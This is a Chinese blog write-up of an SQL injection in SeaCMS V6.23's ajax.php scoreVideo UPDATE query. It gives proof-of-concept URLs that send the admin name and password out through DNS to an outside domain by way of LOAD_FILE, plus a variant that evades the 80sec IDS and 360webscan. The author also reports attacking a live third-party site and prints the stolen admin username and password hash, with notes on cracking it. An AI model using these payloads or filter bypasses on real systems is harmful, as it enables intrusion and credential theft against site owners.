Seacms最新版多处update注入(绕过360webscan)

暗月博客 2019年11月21日22:41:54评论592 views字数 2721阅读9分4秒阅读模式
摘要

Seacms最新版多处update注入 (绕过360webscan) update注入一枚,通过dns直接获取敏感信息。

Seacms最新版多处update注入(绕过360webscan)

update注入一枚,通过dns直接获取敏感信息。

版本:V6.23

同时绕过80sec ids,360webscan

SeaCms有一个类似全局注册变量的机制,为后面的漏洞埋下了伏笔

 

//检查和注册外部提交的变量

foreach($_REQUEST as $_k=>$_v)
{
if( strlen($_k)>0 && m_eregi('^(cfg_|GLOBALS)',$_k) && !isset($_COOKIE[$_k]) )
{
exit('Request var not allow!');
}
}

function _RunMagicQuotes(&$svar)
{
if(!get_magic_quotes_gpc())
{
if( is_array($svar) )
{
foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
}
else
{
$svar = addslashes($svar);
}
}
return $svar;
}

foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}

 

 

漏洞文件:/include/ajax.php

11-44行
 

switch ($action) {
case "digg":
case "tread":
case "score":
echo scoreVideo($action);
break;
case "diggnews":
case "treadnews":
case "scorenews":
echo scoreNews($action);
break;
case "hit":
echo updateHit();
break;
case "hitnews":
echo updateHitNews();
break;
case "addfav":
echo addfav();
break;
case "videoscore":
case "newsscore":
echo getScore($action);
break;
case "vpingfen":
echo vpingfen($action);
break;
case "npingfen":
echo npingfen($action);
break;
case "member":
echo member();
break;
}

 

问题出在了scoreVideo()函数,跟进这个函数

 

function scoreVideo($operType){
global $id,$dsql,$score;

if($id < 1) return "err";
.......此处省略几行代码..........
}elseif($operType=="score"){
if(GetCookie("ssea3_score".$id)=="ok") return "havescore";
$dsql->ExecuteNoneQuery("Update `sea_data` set v_scorenum=v_scorenum+1,v_score=v_score+".$score." where v_id=$id");
PutCookie("ssea3_score".$id,"ok",3600 * 24,'/');
return '';
}else{
return "err";
}
}

 

$dsql->ExecuteNoneQuery("Update `sea_data` set v_scorenum=v_scorenum+1,v_score=v_score+".$score." where v_id=$id");

 

$id和$score都可以控,造成了SQL注入。

 

$score=2,v_digg=(select user())
的时候,意外的把字段v_digg的内容利用子查询更新成工具者想获取的信息

 

接下来编写poc

 

首先理清程序的逻辑

 

$action=score 才能进入scoreVideo()这个函数

 

同时$id要大于1,否则 return "err";

 

Cookie中ssea3_score.$id的值不能为ok,否则 return "havescore";

 

因为无法直接获取子查询的数据,这里我使用DNS来获取数据(这个方法的局限性是目标环境要使用root用户连接的数据库才能获取到数据)

 

参考《在SQL注入中使用DNS获取数据》

http://**.**.**.**/tips/5283

 

理论上poc为:

 

http://localhost/include/ajax.php?action=score&id=1&score=2,v_digg=(SELECT%20LOAD_FILE(CONCAT(0x5c5c5c5c,(select%20concat_ws(0x5f,name,password)%20from%20sea_admin%20limit%201),0x2e33633866396633646330633032363538356261303131326633316335353632632e776f6f79756e2e67715c5c5c5c666f6f626172)))

 

但是由于程序使用了80sec的ids。绕过后的POC:
 

http://localhost/include/ajax.php?action=score&id=1&score=@`/'`,v_digg=(SELECT%20LOAD_FILE(CONCAT(0x5c5c5c5c,(select%20concat_ws(0x5f,name,password)%20from%20sea_admin%20limit%201),0x2e33633866396633646330633032363538356261303131326633316335353632632e776f6f79756e2e67715c5c5c5c666f6f626172))),v_hit=@`/'`

 

在本地调试的时候,360webscan不会进行拦截,但在实际线上环境中,上面的poc是会被360webscan拦截的。

 Seacms最新版多处update注入(绕过360webscan)

 

此还得绕过360webscan(最终poc在测试代码中)
找了一个线上环境:http://**.**.**.**/
dns获取到的
 

 

 Seacms最新版多处update注入(绕过360webscan)

 

 

用户:mosss 密码:78832884f6c8c932a264
Seacms的加密方式和dedecms都是20位的md5,要还原密码得前减3位后减1位,得到16位MD5Seacms最新版多处update注入(绕过360webscan)

 

 

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
暗月博客
  • 本文由 发表于 2019年11月21日22:41:54
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Seacms最新版多处update注入(绕过360webscan)http://cn-sec.com/archives/73266.html

发表评论

匿名网友 填写信息